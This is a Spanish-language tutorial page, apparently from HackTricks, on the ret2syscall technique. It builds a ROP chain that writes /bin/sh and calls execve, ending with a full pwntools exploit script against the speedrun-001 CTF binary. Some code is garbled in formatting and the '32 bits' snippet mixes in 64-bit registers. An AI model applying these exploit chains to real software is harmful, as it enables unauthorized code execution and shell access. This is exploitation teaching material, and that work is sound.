Ret2syscall

Ret2syscall

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

Esto es similar a Ret2lib, sin embargo, en este caso no estaremos llamando a una función de una biblioteca. En este caso, todo estará preparado para llamar a la syscall sys_execve con algunos argumentos para ejecutar /bin/sh. Esta técnica generalmente se realiza en binarios compilados estáticamente, por lo que puede haber muchos gadgets e instrucciones de syscall.

Para preparar la llamada a la syscall se necesita la siguiente configuración:

  • rax: 59 Especifica sys_execve

  • rdi: ptr a "/bin/sh" especifica el archivo a ejecutar

  • rsi: 0 especifica que no se pasan argumentos

  • rdx: 0 especifica que no se pasan variables de entorno

Por lo tanto, básicamente es necesario escribir la cadena /bin/sh en algún lugar y luego realizar la syscall (siendo conscientes del relleno necesario para controlar la pila). Para esto, necesitamos un gadget para escribir /bin/sh en un área conocida.

Otra syscall interesante para llamar es mprotect que permitiría a un atacante modificar los permisos de una página en memoria. Esto se puede combinar con ret2shellcode.

Gadgets de registros

Comencemos encontrando cómo controlar esos registros:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

Con estas direcciones es posible escribir el contenido en la pila y cargarlo en los registros.

Escribir cadena

Memoria escribible

Primero necesitas encontrar un lugar escribible en la memoria

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Escribir una cadena en la memoria

Entonces necesitas encontrar una forma de escribir contenido arbitrario en esta dirección

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

Automatizar cadena ROP

El siguiente comando crea una cadena ROP completa de sys_execve dado un binario estático cuando hay gadgets de escribir-dónde-qué y instrucciones de llamada al sistema:

ROPgadget --binary vuln --ropchain

32 bits

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 bits

64 bits

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Gadgets Faltantes

Si te faltan gadgets, por ejemplo para escribir /bin/sh en la memoria, puedes usar la técnica SROP para controlar todos los valores de los registros (incluyendo RIP y los registros de parámetros) desde la pila:

pageSROP - Sigreturn-Oriented Programming

```python from pwn import *

target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')

Establish our ROP Gadgets

popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)

0x000000000048d251 : mov qword ptr [rax], rdx ; ret

writeGadget = p64(0x48d251)

Our syscall gadget

syscall = p64(0x40129c)

''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget

''' Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0

syscall '''

rop += popRax rop += p64(0x3b)

rop += popRdi rop += p64(0x6b6000)

rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)

rop += syscall

Add the padding to the saved return address

payload = "0"*0x408 + rop

Send the payload, drop to an interactive shell to use our new shell

target.sendline(payload)

target.interactive()

## Otros Ejemplos y Referencias

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 bits, sin PIE, nx, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 bits, nx, sin PIE, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. Para escribir en la pila se abusa de una función que realiza operaciones matemáticas.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, sin PIE, nx, BF canary, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.

Última actualización